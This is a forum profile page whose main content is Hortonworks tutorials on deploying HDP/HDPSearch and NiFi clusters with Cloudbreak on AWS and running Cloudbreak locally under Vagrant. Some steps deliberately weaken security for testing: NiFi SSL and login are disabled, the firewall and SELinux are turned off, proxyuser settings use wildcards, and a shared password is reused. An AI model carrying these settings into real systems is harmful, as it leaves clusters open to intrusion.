Member since
02-09-2016
559
Posts
422
Kudos Received
98
Solutions
My Accepted Solutions
Title | Views | Posted |
---|---|---|
2022 | 03-02-2018 01:19 AM | |
3235 | 03-02-2018 01:04 AM | |
2235 | 08-02-2017 05:40 PM | |
2267 | 07-17-2017 05:35 PM | |
1608 | 07-10-2017 02:49 PM |
10-30-2018
05:48 PM
4 Kudos
Objectives
HDPSearch 4.0 was recently announced (Blog) which upgrades Solr from 6.6 to 7.4. The HPDSearch 4.0 Ambari management pack will install HDPSearch 3.0 for HDP 2.6 and HDPSearch 4.0 for HDP 3.0. HDP 3.0 is required for HDPSearch 4.0 because the HDFS and Hive libraries have been updated for Hadoop 3.1. Using Cloudbreak 2.8 Tech Preview (TP) you can install an HDP 3.0 cluster that includes HDPSearch 4.0 using Cloudbreak's management pack extensions.
Cloudbreak 2.8 is a Tech Preview release and is not suitable for production usage. Similarly CB 2.8 TP doesn't officially support deploying HDP 3.0 clusters. The intent is to become familiar with the process for when Cloudbreak 2.9 is released.
This tutorial is designed to walk you through the process of deploying an HDP 3.0 cluster which includes HDPSearch 4.0 components on AWS using a custom Ambri blueprint.
Prerequisites
You should already have an installed version of Cloudbreak 2.8.
You can find the documentation on Cloudbreak here: Cloudbreak Documentation
You can find an article that walks you through installing a local version of Cloudbreak with Vagrant and Virtualbox here: HCC Article
You should have an AWS account with appropriate permissions.
You can read more about AWS permissions here: Cloudbreak Documentation
You should already have created your AWS credential in Cloudbreak.
You should be familiar with HDPSearch.
You can find the documentation on HDPSearch here:HDPSearch 4.0 Documentation
Scope
This tutorial was tested in the following environment:
Cloudbreak 2.8.0
HDPSearch 4.0
AWS (also works on Azure and Google)
Steps
1. Create New HDP Blueprint
We need to create a custom Ambari blueprint for an HDP 3.0 cluster. This tutorial provides a basic blueprint which has HDFS and YARN HA enabled.
Login to your Cloudbreak instance. In the left menu, click on Blueprints . Cloudbreak will display a list of built-in and custom blueprints. Click on the CREATE BLUEPRINT button. You should see something similar to the following:
If you have downloaded the blueprint JSON file, you can simply upload the file to create your new blueprint. Cloudbreak requires a unique name within the blueprint itself. If you wish to customize the blueprint name, you can edit the name in the editor window after uploading the blueprint. Enter a unique Name and a meaningful Description for the blueprint. These are displayed on the blueprint list screen. You can download the JSON blueprint file here: hdp301-ha-solr-blueprint.json
Click on the Upload JSON File button and select the blueprint JSON file you downloaded. You should see something similar to this:
Scroll to the bottom and click on the CREATE button. You should see the list of blueprints, including the newly created blueprint. You should see something similar to the following:
You can also choose to paste the JSON text by clicking on the Text radio button.
Here is the text of the blueprint JSON:
{
"Blueprints": {
"blueprint_name": "hdp301-ha-solr",
"stack_name": "HDP",
"stack_version": "3.0"
},
"settings": [
{
"recovery_settings": []
},
{
"service_settings": [
{
"name": "HIVE",
"credential_store_enabled": "false"
}
]
},
{
"component_settings": []
}
],
"host_groups": [
{
"name": "master_mgmt",
"components": [
{
"name": "METRICS_COLLECTOR"
},
{
"name": "METRICS_GRAFANA"
},
{
"name": "ZOOKEEPER_SERVER"
},
{
"name": "JOURNALNODE"
},
{
"name": "INFRA_SOLR"
},
{
"name": "INFRA_SOLR_CLIENT"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "ZOOKEEPER_CLIENT"
},
{
"name": "HDFS_CLIENT"
},
{
"name": "YARN_CLIENT"
},
{
"name": "OOZIE_CLIENT"
},
{
"name": "MAPREDUCE2_CLIENT"
},
{
"name": "HIVE_CLIENT"
},
{
"name": "TEZ_CLIENT"
},
{
"name": "HIVE_METASTORE"
},
{
"name": "HIVE_SERVER"
}
],
"cardinality": "1"
},
{
"name": "master_nn1",
"components": [
{
"name": "NAMENODE"
},
{
"name": "ZKFC"
},
{
"name": "RESOURCEMANAGER"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "APP_TIMELINE_SERVER"
},
{
"name": "ZOOKEEPER_SERVER"
},
{
"name": "JOURNALNODE"
},
{
"name": "HIVE_CLIENT"
},
{
"name": "HDFS_CLIENT"
},
{
"name": "YARN_CLIENT"
},
{
"name": "OOZIE_CLIENT"
},
{
"name": "ZOOKEEPER_CLIENT"
},
{
"name": "LIVY2_SERVER"
},
{
"name": "SPARK2_CLIENT"
},
{
"name": "MAPREDUCE2_CLIENT"
},
{
"name": "TEZ_CLIENT"
}
],
"cardinality": "1"
},
{
"name": "master_nn2",
"components": [
{
"name": "NAMENODE"
},
{
"name": "ZKFC"
},
{
"name": "RESOURCEMANAGER"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "HISTORYSERVER"
},
{
"name": "HIVE_SERVER"
},
{
"name": "PIG"
},
{
"name": "OOZIE_SERVER"
},
{
"name": "ZOOKEEPER_SERVER"
},
{
"name": "JOURNALNODE"
},
{
"name": "HIVE_CLIENT"
},
{
"name": "HDFS_CLIENT"
},
{
"name": "YARN_CLIENT"
},
{
"name": "OOZIE_CLIENT"
},
{
"name": "ZOOKEEPER_CLIENT"
},
{
"name": "SPARK2_JOBHISTORYSERVER"
},
{
"name": "SPARK2_CLIENT"
},
{
"name": "MAPREDUCE2_CLIENT"
},
{
"name": "TEZ_CLIENT"
}
],
"cardinality": "1"
},
{
"name": "datanode",
"components": [
{
"name": "HIVE_CLIENT"
},
{
"name": "TEZ_CLIENT"
},
{
"name": "SPARK2_CLIENT"
},
{
"name": "YARN_CLIENT"
},
{
"name": "OOZIE_CLIENT"
},
{
"name": "DATANODE"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "NODEMANAGER"
},
{
"name": "SOLR_SERVER"
}
],
"cardinality": "1+"
}
],
"configurations": [
{
"core-site": {
"properties": {
"fs.trash.interval": "4320",
"fs.defaultFS": "hdfs://mycluster",
"ha.zookeeper.quorum": "%HOSTGROUP::master_nn1%:2181,%HOSTGROUP::master_nn2%:2181,%HOSTGROUP::master_mgmt%:2181",
"hadoop.proxyuser.falcon.groups": "*",
"hadoop.proxyuser.root.groups": "*",
"hadoop.proxyuser.livy.hosts": "*",
"hadoop.proxyuser.falcon.hosts": "*",
"hadoop.proxyuser.oozie.hosts": "*",
"hadoop.proxyuser.oozie.groups": "*",
"hadoop.proxyuser.hive.groups": "*",
"hadoop.proxyuser.livy.groups": "*",
"hadoop.proxyuser.hbase.groups": "*",
"hadoop.proxyuser.hbase.hosts": "*",
"hadoop.proxyuser.root.hosts": "*",
"hadoop.proxyuser.hive.hosts": "*",
"hadoop.proxyuser.yarn.hosts": "*"
}
}
},
{
"hdfs-site": {
"properties": {
"dfs.namenode.safemode.threshold-pct": "0.99",
"dfs.client.failover.proxy.provider.mycluster": "org.apache.hadoop.hdfs.server.namenode.ha.ConfiguredFailoverProxyProvider",
"dfs.ha.automatic-failover.enabled": "true",
"dfs.ha.fencing.methods": "shell(/bin/true)",
"dfs.ha.namenodes.mycluster": "nn1,nn2",
"dfs.namenode.http-address": "%HOSTGROUP::master_nn1%:50070",
"dfs.namenode.http-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:50070",
"dfs.namenode.http-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:50070",
"dfs.namenode.https-address": "%HOSTGROUP::master_nn1%:50470",
"dfs.namenode.https-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:50470",
"dfs.namenode.https-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:50470",
"dfs.namenode.rpc-address.mycluster.nn1": "%HOSTGROUP::master_nn1%:8020",
"dfs.namenode.rpc-address.mycluster.nn2": "%HOSTGROUP::master_nn2%:8020",
"dfs.namenode.shared.edits.dir": "qjournal://%HOSTGROUP::master_nn1%:8485;%HOSTGROUP::master_nn2%:8485;%HOSTGROUP::master_mgmt%:8485/mycluster",
"dfs.nameservices": "mycluster"
}
}
},
{
"hive-site": {
"properties": {
"hive.metastore.uris": "thrift://%HOSTGROUP::master_mgmt%:9083",
"hive.exec.compress.output": "true",
"hive.merge.mapfiles": "true",
"hive.server2.tez.initialize.default.sessions": "true",
"hive.server2.transport.mode": "http"
}
}
},
{
"mapred-site": {
"properties": {
"mapreduce.job.reduce.slowstart.completedmaps": "0.7",
"mapreduce.map.output.compress": "true",
"mapreduce.output.fileoutputformat.compress": "true"
}
}
},
{
"yarn-site": {
"properties": {
"hadoop.registry.rm.enabled": "true",
"hadoop.registry.zk.quorum": "%HOSTGROUP::master_nn1%:2181,%HOSTGROUP::master_nn2%:2181,%HOSTGROUP::master_mgmt%:2181",
"yarn.log.server.url": "http://%HOSTGROUP::master_nn2%:19888/jobhistory/logs",
"yarn.resourcemanager.address": "%HOSTGROUP::master_nn1%:8050",
"yarn.resourcemanager.admin.address": "%HOSTGROUP::master_nn1%:8141",
"yarn.resourcemanager.cluster-id": "yarn-cluster",
"yarn.resourcemanager.ha.automatic-failover.zk-base-path": "/yarn-leader-election",
"yarn.resourcemanager.ha.enabled": "true",
"yarn.resourcemanager.ha.rm-ids": "rm1,rm2",
"yarn.resourcemanager.hostname": "%HOSTGROUP::master_nn1%",
"yarn.resourcemanager.hostname.rm1": "%HOSTGROUP::master_nn1%",
"yarn.resourcemanager.hostname.rm2": "%HOSTGROUP::master_nn2%",
"yarn.resourcemanager.recovery.enabled": "true",
"yarn.resourcemanager.resource-tracker.address": "%HOSTGROUP::master_nn1%:8025",
"yarn.resourcemanager.scheduler.address": "%HOSTGROUP::master_nn1%:8030",
"yarn.resourcemanager.store.class": "org.apache.hadoop.yarn.server.resourcemanager.recovery.ZKRMStateStore",
"yarn.resourcemanager.webapp.address": "%HOSTGROUP::master_nn1%:8088",
"yarn.resourcemanager.webapp.address.rm1": "%HOSTGROUP::master_nn1%:8088",
"yarn.resourcemanager.webapp.address.rm2": "%HOSTGROUP::master_nn2%:8088",
"yarn.resourcemanager.webapp.https.address": "%HOSTGROUP::master_nn1%:8090",
"yarn.resourcemanager.webapp.https.address.rm1": "%HOSTGROUP::master_nn1%:8090",
"yarn.resourcemanager.webapp.https.address.rm2": "%HOSTGROUP::master_nn2%:8090",
"yarn.timeline-service.address": "%HOSTGROUP::master_nn1%:10200",
"yarn.timeline-service.webapp.address": "%HOSTGROUP::master_nn1%:8188",
"yarn.timeline-service.webapp.https.address": "%HOSTGROUP::master_nn1%:8190"
}
}
}
]
}
2. Register Management Pack
HDPSearch is installed via an Ambari Management Pack. To automate the deployment of HDPSearch via a blueprint, you need to register the HDPSearch Management Pack with Cloudbreak.
In the left menu, click on Cluster Extensions . This will expand expand to show Recipes and Management Packs . Click on Management Packs . You should see something similar to the following:
Click on REGISTER MANAGEMENT PACK . You should see something similar to the following:
Enter a unique Name and meaningful Description . The Management Pack URL for the HDPSearch 4.0 Management Pack should be http://public-repo-1.hortonworks.com/HDP-SOLR/hdp-solr-ambari-mp/solr-service-mpack-4.0.0.tar.gz .
Click Create . You should see something similar to the following:
3. Create Cluster
Now that we have a custom blueprint based on HDP 3.0 with a Solr component and we have registered the HDPSearch 4.0 Management Pack, we are ready to create a cluster.
In the left menu, click on Clusters . Cloudbreak will display configured clusters. Click the CREATE CLUSTER button. Cloudbreak will display the Create Cluster wizard.
a. General Configuration
By default, the General Configuration screen is displayed using the BASIC view. The ADVANCED view gives you more control of AWS and cluster settings, to include features such as tags. You must use ADVANCED view to attach a Management Pack to a cluster. You can change your view to ADVANCED manually or you can change your Cloudbreak preferences to show ADVANCED view by default. You should see something similar to the following:
Select Credential: Select the AWS credential you created. Most users will only have 1 credential per platform which will be selected automatically.
Cluster Name: Enter a name for your cluster. The name must be between 5 and 40 characters, must start with a letter, and must only include lowercase letters, numbers, and hyphens.
Region: Select the region in which you would like to launch your cluster.
Availability Zone: Select the availability zone in which you would like to launch your cluster.
Platform Version: Cloudbreak currently defaults to HDP 2.6. Select the dropdown arrow and select HDP 3.0 .
Cluster Type: Select the custom blueprint you recently created.
You should see something similar to the following:
Click the green Next button.
c. Image Settings
Cloudbreak will display the Image Settings screen. This where you can specify a custom Cloudbreak image or change the version of Ambari and HDP used in the cluster. You should see something similar to the following:
You do not need to change any settings on this page. Clck the green NEXT button.
d. Hardware and Storage
Cloudbreak will display the Hardware and Storage screen. On this screen, you have the ability to change the instance types, attached storage and where the Ambari server will be installed. As you you can see, the blueprint calls for deploying at least 4 nodes. We will use the defaults.
Click the green Next button.
e. Network and Availability
Cloudbreak will display the Network and Availability screen. On this screen, you have the ability to create a new VPC and Subnet or select from existing ones. The default is to create a new VPC and Subnet. We will use the defaults.
Click the green Next button.
f. Cloud Storage
Cloudbreak will display the Cloud Storage screen. On this screen, you have the ability to configure your cluster to have an instance profile allowing the cluster to access data on cloud storage. The default is to not configure cloud storage. We will use the defaults.
Click the green Next button.
g. Cluster Extensions
Cloudbreak will display the Cluster Extensions screen. On this screen, you have the ability to associate recipes with differnet host groups and attach management packs to the cluser. You should see something similar to the following:
On this screen is where we associate the HDPSearch 4.0 management pack we registered previously. Select the dropdown under Available Management Packs . Select the HDPSearch 4.0 management pack you registered. Then click the Install button. You should see something similar to the following:
Click the green Next button.
h. External Sources
Cloudbreak will display the External Sources screen. On this screen, you have the ability associate external sources like LDAP/AD and databases. You should see somethig similar to the following:
We will not be using this functionality with this cluster. Click the green Next button.
i. Gateway Configuration
Cloudbreak will display the Gateway Configuration screen. On this screen, you have the ability to enable a protected gateway. This gateway uses Knox to provide a secure access point for the cluster. You should see somethig similar to the following:
We will use the defaults. Click the green Next button.
j. Network Security Groups
Cloudbreak will display the Network Security Groups screen. On this screen, you have the ability to specify the Network Security Groups . You should see something similar to the following:
Cloudbreak defaults to creating new configurations. For production use cases, we highly recommend creating and refining your own definitions within the cloud platform. You can tell Cloudbreak to use those existing security groups by selecting the radio button. We need to add the Solr default port of 8983 to the host group where Solr will exist. This is the Data Node in the blueprint. I recommend that you specify "MyIP" to limit access to this port. You should see something similar to the following:
Click the green Next button.
f. Security
Cloudbreak will display the Security screen. On this screen, you have the ability to specify the Ambari admin username and password. You can create a new SSH key or selecting an existing one. And finally, you have the ability to enable Kerberos on the cluster. We will use admin for the username and BadPass#1 for the password. Select an existing SSH key from the drop down list. This should be a key you have already created and have access to the corresponding private key. We will NOT be enabling Kerberos, so make sure the Enable Kerberos Security checkbox is not checked. You should see something similar to the following:
Click the green CREATE CLUSTER button.
g. Cluster Summary
Cloudbreak will display the Cluster Summary page. It will generally take between 10-15 minutes for the cluster to be fully deployed. Click on the cluster you just created. You should see something similar to the following:
Click on the Ambari URL to open the Ambari UI.
h. Ambari
You will likely see a browser warning when you first open the Ambari UI. That is because we are using self-signed certificates.
Click on the ADVANCED button. Then click the link to Proceed .
You will be presented with the Ambari login page. You will login using the username and password you specified when you created the cluster. That should have been admin and BadPass#1 . Click the green Sign In button.
You should see the cluster summary screen. As you can see, we have a cluster a cluster which includes on the Solr component.
Click on the Solr service in the left hand menu. Now you can access the Quick Links menu for a shortcut to the Solr UI.
You should see the Solr UI. As you can see, this is Solr 7.4
Review
If you have successfully followed along with this tutorial, you should have created a custom HDP 3.0 blueprint which includes the Solr component, registered the HDPSearch 4.0 Management pack, and successfully deployed a cluster on AWS which included.
... View more
10-26-2018
05:54 PM
5 Kudos
Objectives
The release of Cloudbreak 2.7 enables you to deploy Hortonworks Data Flow (HDF) clusters. Currently there are two HDF cluster types supported: Flow Management (NiFi) and Messaging Management (Kafka). Cloudbreak expects HDF clusters to be deployed with security (LDAP, SSL). However, for testing purposes, many people would like to deploy a cluster without having to go through the steps of setting up SSL, LDAP, etc. Therefore, we'll need to modify the default HDF Flow Management blueprint to loosen the security configuration. This is not recommended for production use cases.
This tutorial is designed to walk you through the process of of deploying an HDF 3.1 Flow Management Cluster on AWS using Cloudbreak 2.7 using a custom blueprint.
Prerequisites
You should already have an installed version of Cloudbreak 2.7.
You can find the documentation on Cloudbreak here: Cloudbreak Documentation
You can find an article that walks you through installing a local version of Cloudbreak with Vagrant and Virtualbox here: HCC Article
You should have an AWS account with appropriate permissions.
You can read more about AWS permissions here: Cloudbreak Documentation
You should already have created your AWS credential in Cloudbreak.
Scope
This tutorial was tested in the following environment:
Cloudbreak 2.7.0
AWS (also works on Azure and Google)
Steps
1. Create New HDF Blueprint
Login to your Cloudbreak instance. In the left menu, click on Blueprints . Cloudbreak will display a list of built-in and custom blueprints. Click on the Flow Management: Apache NiFi, Apache NiFi Registry blueprint. you should see something similar to the following:
Now click on the RAW VIEW tab. You should see something similar to the following:
Now we need to copy the raw JSON from this blueprint. We need to make some modifications. Copy and paste the blueprint into your favorite text editor.
Change the blueprint_name line to "blueprint_name": "hdf-nifi-no-kerberos", . This is the name of the blueprint and it must be unique from other blueprints registered in Cloudbreak.
In the nifi-properties section we need to add a new line. We are going to add "nifi.security.user.login.identity.provider": "" . This change tells NiFi not to use an Identity Provider. Change this:
{
"nifi-properties": {
"nifi.sensitive.props.key": "changemeplease",
"nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
"nifi.security.identity.mapping.value.kerb": "$1",
}
},
to this:
{
"nifi-properties": {
"nifi.sensitive.props.key": "changemeplease",
"nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
"nifi.security.identity.mapping.value.kerb": "$1",
"nifi.security.user.login.identity.provider": ""
}
},
In the nifi-ambari-ssl-config section we need to change the nifi.node.ssl.isenabled settings from true to false . This change disables SSL between the NiFi nodes. Change this:
"nifi-ambari-ssl-config": {
"nifi.toolkit.tls.token": "changemeplease",
"nifi.node.ssl.isenabled": "true",
"nifi.toolkit.dn.prefix": "CN=",
"nifi.toolkit.dn.suffix": ", OU=NIFI"
}
to this:
"nifi-ambari-ssl-config": {
"nifi.toolkit.tls.token": "changemeplease",
"nifi.node.ssl.isenabled": "false",
"nifi.toolkit.dn.prefix": "CN=",
"nifi.toolkit.dn.suffix": ", OU=NIFI"
}
In the nifi-registry-ambari-ssl-config section we need to change the nifi.registry.ssl.isenabled settings from true to false . This change disables SSL for the NiFi Registry. Change this:
"nifi-registry-ambari-ssl-config": {
"nifi.registry.ssl.isenabled": "true",
"nifi.registry.toolkit.dn.prefix": "CN=",
"nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
}
to this:
"nifi-registry-ambari-ssl-config": {
"nifi.registry.ssl.isenabled": "false",
"nifi.registry.toolkit.dn.prefix": "CN=",
"nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
}
Under host_groups and Services we need to remove the NIFI_CA entry. This change removes the NiFi Certificate Authority. Change this:
"host_groups": [
{
"name": "Services",
"components": [
{
"name": "NIFI_CA"
}, {
"name": "NIFI_REGISTRY_MASTER"
},
to this:
"host_groups": [
{
"name": "Services",
"components": [
{
"name": "NIFI_REGISTRY_MASTER"
},
The complete blueprint looks like this:
{
"Blueprints": {
"blueprint_name": "hdf-nifi-no-kerberos",
"stack_name": "HDF",
"stack_version": "3.1"
},
"configurations": [
{
"nifi-ambari-config": {
"nifi.security.encrypt.configuration.password": "changemeplease",
"nifi.max_mem": "1g"
}
},
{
"nifi-properties": {
"nifi.sensitive.props.key": "changemeplease",
"nifi.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
"nifi.security.identity.mapping.value.kerb": "$1",
"nifi.security.user.login.identity.provider": ""
}
},
{
"nifi-ambari-ssl-config": {
"nifi.toolkit.tls.token": "changemeplease",
"nifi.node.ssl.isenabled": "false",
"nifi.toolkit.dn.prefix": "CN=",
"nifi.toolkit.dn.suffix": ", OU=NIFI"
}
},
{
"nifi-registry-ambari-config": {
"nifi.registry.security.encrypt.configuration.password": "changemeplease"
}
},
{
"nifi-registry-properties": {
"nifi.registry.sensitive.props.key": "changemeplease",
"nifi.registry.security.identity.mapping.pattern.kerb": "^(.*?)@(.*?)$",
"nifi.registry.security.identity.mapping.value.kerb": "$1"
}
},
{
"nifi-registry-ambari-ssl-config": {
"nifi.registry.ssl.isenabled": "false",
"nifi.registry.toolkit.dn.prefix": "CN=",
"nifi.registry.toolkit.dn.suffix": ", OU=NIFI"
}
}
],
"host_groups": [
{
"name": "Services",
"components": [
{
"name": "NIFI_REGISTRY_MASTER"
},
{
"name": "METRICS_COLLECTOR"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "METRICS_GRAFANA"
},
{
"name": "ZOOKEEPER_CLIENT"
}
],
"cardinality": "1"
},
{
"name": "NiFi",
"components": [
{
"name": "NIFI_MASTER"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "ZOOKEEPER_CLIENT"
}
],
"cardinality": "1+"
},
{
"name": "ZooKeeper",
"components": [
{
"name": "ZOOKEEPER_SERVER"
},
{
"name": "METRICS_MONITOR"
},
{
"name": "ZOOKEEPER_CLIENT"
}
],
"cardinality": "3+"
}
]
}
Save the updated blueprint to a file. Click on the CREATE BLUEPRINT button. You should see the Create Blueprint screen.
Enter the name of the new blueprint, something helpful such as hdf-nifi-no-kerberos . Click on the Upload JSON File button and upload the blueprint you just saved. You should see the new blueprint you created.
2. Create Cluster
In the left menu, click on Clusters . Cloudbreak will display configured clusters. Click the CREATE CLUSTER button. Cloudbreak will display the Create Cluster wizard
a. General Configuration
By default, the General Configuration screen is displayed using the BASIC view. The ADVANCED view gives you more control of AWS and cluster settings, to include features such as tags. You can change your view to ADVANCED manually or you can change your Cloudbreak preferences to show ADVANCED view by default. We will use the BASIC view.
Credential: Select the AWS credential you created. Most users will only have 1 credential per platform which will be selected automatically.
Cluster Name: Enter a name for your cluster. The name must be between 5 and 40 characters, must start with a letter, and must only include lowercase letters, numbers, and hyphens.
Region: Select the region in which you would like to launch your cluster.
Platform Version: Cloudbreak currently defaults to HDP 2.6. Select the dropdown arrow and select HDF 3.1 .
Cluster Type: As mentioned previously, there are two supported cluster types. Make sure select the blueprint you just created.
Click the green NEXT button.
c. Hardware and Storage
Cloudbreak will display the Hardware and Storage screen. On this screen, you have the ability to change the instance types, attached storage and where the Ambari server will be installed. As you you can see, we will deploy 1 NiFi and 1 Zookeeper node. In a production environment you would typically have at least 3 Zookeeper nodes. We will use the defaults.
Click the green NEXT button.
d. Gateway Configuration
Cloudbreak will display the Gateway Configuration screen. On this screen, you have the ability to enable a protected gateway. This gateway uses Knox to provide a secure access point for the cluster. Cloudbreak 2.7 does not currently support configuring Knox for HDF. We will leave this option disabled.
Click the green NEXT button.
e. Network
Cloudbreak will display the Network screen. On this screen, you have the ability to specify the Network , Subnet , and Security Groups . Cloudbreak defaults to creating new configurations. For production use cases, we highly recommend creating and refining your own definitions within the cloud platform. You can tell Cloudbreak to use those via the drop down menus. We will use the default options to create new configurations.
Because we are using a custom blueprint which disables SSL, we need to update the security groups with correct ports for the NiFi and NiFi Registry UIs. In the SERVICES security group, add the port 61080 with TCP . Click the + button to add the rule. In the NIFI security group, add the port 9090 with TCP . Click the + button to add the rule.
You should see something similar the following:
Click the green NEXT button.
f. Security
Cloudbreak will display the Security screen. On this screen, you have the ability to specify the Ambari admin username and password. You can create a new SSH key or selecting an existing one. And finally, you have the ability to enable Kerberos on the cluster. We will use admin for the username and BadPass#1 for the password. Select an existing SSH key from the drop down list. This should be a key you have already created and have access to the corresponding private key. We will NOT be enabling Kerberos, so uncheck the Enable Kerberos Security checkbox.
You have the ability to display a JSON version of the blueprint. You also have the ability display a JSON version of the cluster definition. Both of these can be used with Cloudbreak CLI to programatically automate these operations.
Click the green CREATE CLUSTER button.
g. Cluster Summary
Cloudbreak will display the Cluster Summary page. It will generally take between 10-15 minutes for the cluster to be fully deployed. As you can see, this screen looks similar to and HDP cluster. The big difference is the Blueprint and HDF Version .
Click on the Ambari URL to open the Ambari UI.
h. Ambari
You will likely see a browser warning when you first open the Ambari UI. That is because we are using self-signed certificates.
Click on the ADVANCED button. Then click the link to Proceed .
You will be presented with the Ambari login page. You will login using the username and password you specified when you created the cluster. That should have been admin and BadPass#1 . Click the green Sign In button.
You should see the cluster summary screen. As you can see, we have a cluster with Zookeeper, NiFi, and the NiFi Registry.
Click on the NiFi service in the left hand menu. Now you can access the Quick Links menu for a shortcut to the NiFi UI.
You should see the NiFi UI.
Back in the Ambari UI, click on the NiFi Registry service in the left hand menu. Now you can access the Quick Links menu for a shortcut to the NiFi Registry UI.
You should see the NiFi Registry UI.
Review
If you have successfully followed along with this tutorial, you should have created a Flow Management (NiFi) cluster on AWS using a custom blueprint. This cluster has SSL and LDAP configurations disabled for rapid prototyping abilities.
... View more
09-25-2018
02:02 PM
@Dhamotharan P
ListenTCP doesn't really have any concept of a "message". It is based on buffer size. If you are sending multiple messages per request, then the Batching Message Delimiter can pull out individual messages from a single request, but I believe that only happens once the buffer size has been reached. It's a nuance of working with something like ListenTCP. Try setting the Receive Buffer Size to a much smaller value than the 65507 B that you currently have it set to
... View more
09-21-2018
02:59 PM
@Dhamotharan P Can you share why ListenTCP and GetTCP didn't work? I did you get errors?
... View more
07-04-2018
03:49 PM
1 Kudo
@mmolnar This is great feedback. I've updated the article to include a link for downloading the files. Thank you!
... View more
05-30-2018
01:20 PM
9 Kudos
Objectives
This tutorial is designed to walk you through the process of using Vagrant and Virtualbox to create a local instance of Cloudbreak 2.4.1. This approach allows you start your local Cloudbreak deployer instance when you want to spin up an HDP cluster in a cloud environment without incurring costs associated with hosting your Cloudbreak deployer instance itself on the cloud.
This tutorial is an update to the original one located here:
HCC Article. However this version of the tutorial includes more automation for installing Cloudbreak and is based on Cloudbreak 2.4.x instead of 1.14.x.
Note: This tutorial has also been tested with Cloudbreak 2.7.0, 2.7.1, 2.72. and 2.8.0 TP. Prerequisites
You should already have installed VirtualBox 5.x. Read more here: VirtualBox You should already have installed Vagrant 2.x. Read more here: Vagrant You should already have installed the vagrant-vbguest plugin. This plugin will keep the VirtualBox Guest Additions software current as you upgrade your kernel and/or VirtualBox versions. Read more here: vagrant-vbguest You should already have installed the vagrant-hostmanager plugin. This plugin will automatically manage the /etc/hosts file on your local computer and in your virtual machines. Read more here: vagrant-hostmanager Scope
This tutorial was tested in the following environment:
macOS Sierra (version 10.13.4) VirtualBox 5.2.6 Vagrant 2.1.1 vagrant-vbguest plugin 0.15.2 vagrant-hostnamanger plugin 1.8.9 Cloudbreak 2.4.1 Steps Setup Vagrant Create Vagrant project directory
Before we get started, determine where you want to keep your Vagrant project files. Each Vagrant project should have its own directory. I keep my Vagrant projects in my ~/Development/Vagrant directory. You should also use a helpful name for each Vagrant project directory you create.
$ cd ~/Development/Vagrant
$ mkdir centos7-cloudbreak
$ cd centos7-cloudbreak
We will be using a CentOS 7.4 Vagrant box, so I include centos7 in the Vagrant project name to differentiate it from a CentOS 6 project. The project is for cloudbreak, so I include that in the name. Create Vagrantfile
You need to create a file named Vagrantfile . The Vagrantfile tells Vagrant how to configure your virtual machines. You can copy/paste my Vagrantfile below:
# -*- mode: ruby -*-
# vi: set ft=ruby :
# Using yaml to load external configuration files
require 'yaml'
Vagrant.configure("2") do |config|
# Using the hostmanager vagrant plugin to update the host files
config.hostmanager.enabled = true
config.hostmanager.manage_host = true
config.hostmanager.manage_guest = true
config.hostmanager.ignore_private_ip = false
# Run install script
config.vm.provision "shell", path: "install.sh"
# Loading in the VM configuration information
servers = YAML.load_file('servers.yaml')
servers.each do |servers|
config.vm.define servers["name"] do |srv|
srv.ssh.username = "vagrant"
srv.ssh.password = "vagrant"
srv.vm.box = servers["box"] # Speciy the name of the Vagrant box file to use
srv.vm.hostname = servers["name"] # Set the hostname of the VM
srv.vm.network "private_network", ip: servers["ip"], :adapater=>2 # Add a second adapater with a specified IP
srv.vm.provision :shell, inline: "sed -i'' '/^127.0.0.1\t#{srv.vm.hostname}\t#{srv.vm.hostname}$/d' /etc/hosts" # Remove the extraneous first entry in /etc/hosts
srv.vm.provider :virtualbox do |vb|
vb.name = servers["name"] # Name of the VM in VirtualBox
vb.cpus = servers["cpus"] # How many CPUs to allocate to the VM
vb.memory = servers["ram"] # How much memory to allocate to the VM
end
end
end
end
Create a servers.yaml file
You need to create a file name servers.yaml . The servers.yaml file contains the configuration information for our VMs. Here is the content from my file:
---
- name: cloudbreak
box: bento/centos-7.4
cpus: 2
ram: 4096
ip: 192.168.56.100
NOTE: You may need to modify the IP address to avoid conflicts with your local network. Create install.sh file
You need to create a file called install.sh . The install.sh file is a script that will run on your VM the first time it is provisioned. The line the
Vagrantfile that runs this is here:
config.vm.provision "shell", path: "install.sh"
This allows us to automate configuration tasks that would other wise be tedious and/or repetitive. Here is the content from my file:
#!/bin/bash
# Install prerequisites
sudo yum -y update
sudo yum -y install net-tools ntp wget lsof unzip tar iptables-services
# Enable NTP
sudo systemctl enable ntpd && sudo systemctl start ntpd
# Disable Firewall
sudo systemctl disable firewalld && sudo systemctl stop firewalld
sudo iptables --flush INPUT && sudo iptables --flush FORWARD && sudo service iptables save
# Disable SELINUX
sudo sed -i --follow-symlinks 's/^SELINUX=.*/SELINUX=disabled/g' /etc/sysconfig/selinux
# Create Docker repo
cat > /etc/yum.repos.d/docker.repo <<EOF
[dockerrepo]
name=Docker Repository
baseurl=https://yum.dockerproject.org/repo/main/centos/7
enabled=1
gpgcheck=1
gpgkey=https://yum.dockerproject.org/gpg
EOF
# Install Docker, enable and start service
yum install -y docker-engine docker-engine-selinux
systemctl start docker
systemctl enable docker
# Install Cloudbreak application
mkdir /opt/cloudbreak-deployment
cd /opt/cloudbreak-deployment
curl -Ls public-repo-1.hortonworks.com/HDP/cloudbreak/cloudbreak-deployer_2.4.1_$(uname)_x86_64.tgz | sudo tar -xz -C /bin cbd
This installation script performs the prerequisite package installations and configurations. This script also automates most of the Cloudbreak installation tasks.
Note: The last line is a curl call to download a specific version of Cloudbreak. If you want to install 2.7.2 or 2.8.0 TP, then update the version in the URL of the curl command. Start Virtual Machine
Once you have created the 3 files in your Vagrant project directory, you are ready to start your instance. Creating the instance for the first time and starting it every time after that uses the same
vagrant up command.
$ vagrant up
You should notice Vagrant automatically updating the packages and installing additional packages on the first start of the VM.
